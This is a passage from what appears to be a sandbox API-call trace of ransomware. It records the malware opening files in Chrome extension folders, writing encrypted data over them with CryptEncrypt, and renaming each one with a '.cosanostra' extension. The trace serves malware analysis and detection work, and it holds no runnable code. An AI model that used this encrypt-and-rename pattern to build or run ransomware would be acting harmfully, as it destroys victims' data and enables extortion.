"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.184] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 155 [0087.184] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.209] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffedf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.209] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x28df8cc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8cc*=0x121, lpOverlapped=0x0) returned 1 [0087.209] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.209] WriteFile (in: hFile=0x194, lpBuffer=0x28df90c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8cc, lpOverlapped=0x0 | out: lpBuffer=0x28df90c*, lpNumberOfBytesWritten=0x28df8cc*=0x4, lpOverlapped=0x0) returned 1 [0087.210] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8cc*=0x30, lpOverlapped=0x0) returned 1 [0087.210] CloseHandle (hObject=0x194) returned 1 [0087.210] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.cosanostra") returned 166 [0087.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0087.211] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df908 | out: pbBuffer=0x28df908) returned 1 [0087.211] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df900*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df900*=0x30) returned 1 [0087.211] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.212] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 159 [0087.212] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.225] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffcd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.225] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x28df8c4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8c4*=0x32c, lpOverlapped=0x0) returned 1 [0087.225] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.225] WriteFile (in: hFile=0x194, lpBuffer=0x28df904*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8c4, lpOverlapped=0x0 | out: lpBuffer=0x28df904*, lpNumberOfBytesWritten=0x28df8c4*=0x4, lpOverlapped=0x0) returned 1 [0087.225] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8c4*=0x30, lpOverlapped=0x0) returned 1 [0087.225] CloseHandle (hObject=0x194) returned 1 [0087.226] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.cosanostra") returned 170 [0087.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0087.228] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df900 | out: pbBuffer=0x28df900) returned 1 [0087.228] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8f8*=0x30) returned 1 [0087.228] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.229] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 159 [0087.229] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffcf1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.248] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x30f, lpNumberOfBytesWritten=0x28df8bc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8bc*=0x30f, lpOverlapped=0x0) returned 1 [0087.252] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.252] WriteFile (in: hFile=0x194, lpBuffer=0x28df8fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8bc, lpOverlapped=0x0 | out: lpBuffer=0x28df8fc*, lpNumberOfBytesWritten=0x28df8bc*=0x4, lpOverlapped=0x0) returned 1 [0087.252] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8bc*=0x30, lpOverlapped=0x0) returned 1 [0087.252] CloseHandle (hObject=0x194) returned 1 [0087.252] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.cosanostra") returned 170 [0087.252] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0087.253] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df900 | out: pbBuffer=0x28df900) returned 1 [0087.253] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8f8*=0x30) returned 1 [0087.253] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.260] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 160 [0087.260] StrStrW (lpFirst="cast_route_details.js", lpSrch=".txt") returned 0x0 [0087.280] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.280] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df8bc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df8bc*=0x2800, lpOverlapped=0x0) returned 1 [0087.281] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.281] WriteFile (in: hFile=0x194, lpBuffer=0x28df8fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8bc, lpOverlapped=0x0 | out: lpBuffer=0x28df8fc*, lpNumberOfBytesWritten=0x28df8bc*=0x4, lpOverlapped=0x0) returned 1 [0087.288] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8bc*=0x30, lpOverlapped=0x0) returned 1 [0087.288] CloseHandle (hObject=0x194) returned 1 [0087.288] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.cosanostra") returned 171 [0087.288] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.cosanostra")) returned 1 [0087.290] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8f8 | out: pbBuffer=0x28df8f8) returned 1 [0087.290] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8f0*=0x30) returned 1 [0087.290] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.290] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 159 [0087.290] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.299] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffd66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.299] WriteFile (in: hFile=0x194, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x28df8b4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df8b4*=0x29a, lpOverlapped=0x0) returned 1 [0087.300] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.300] WriteFile (in: hFile=0x194, lpBuffer=0x28df8f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8b4, lpOverlapped=0x0 | out: lpBuffer=0x28df8f4*, lpNumberOfBytesWritten=0x28df8b4*=0x4, lpOverlapped=0x0) returned 1 [0087.300] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8b4*=0x30, lpOverlapped=0x0) returned 1 [0087.300] CloseHandle (hObject=0x194) returned 1 [0087.301] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.cosanostra") returned 170 [0087.301] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0087.303] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8f0 | out: pbBuffer=0x28df8f0) returned 1 [0087.303] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8e8*=0x30) returned 1 [0087.303] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.303] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 159 [0087.303] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.313] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffd45, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.313] WriteFile (in: hFile=0x194, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2bb, lpNumberOfBytesWritten=0x28df8ac, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df8ac*=0x2bb, lpOverlapped=0x0) returned 1 [0087.313] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.314] WriteFile (in: hFile=0x194, lpBuffer=0x28df8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8ac, lpOverlapped=0x0 | out: lpBuffer=0x28df8ec*, lpNumberOfBytesWritten=0x28df8ac*=0x4, lpOverlapped=0x0) returned 1 [0087.314] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8ac*=0x30, lpOverlapped=0x0) returned 1 [0087.314] CloseHandle (hObject=0x194) returned 1 [0087.314] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.cosanostra") returned 170 [0087.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0087.315] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8e8 | out: pbBuffer=0x28df8e8) returned 1 [0087.315] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8e0*=0x30) returned 1 [0087.315] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.316] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 159 [0087.316] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.335] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffcf6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.336] WriteFile (in: hFile=0x194, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x30a, lpNumberOfBytesWritten=0x28df8a4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df8a4*=0x30a, lpOverlapped=0x0) returned 1 [0087.336] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.336] WriteFile (in: hFile=0x194, lpBuffer=0x28df8e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8a4, lpOverlapped=0x0 | out: lpBuffer=0x28df8e4*, lpNumberOfBytesWritten=0x28df8a4*=0x4, lpOverlapped=0x0) returned 1 [0087.336] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8a4*=0x30, lpOverlapped=0x0) returned 1 [0087.336] CloseHandle (hObject=0x194) returned 1 [0087.336] wnsprintfW (in: pszDest=0x2ff0120, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.cosanostra") returned 170 [0087.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0087.337] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8e0 | out: pbBuffer=0x28df8e0) returned 1 [0087.337] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8d8*=0x30) returned 1 [0087.337] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.340] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js") returned 158 [0087.340] StrStrW (lpFirst="mirroring_webrtc.js", 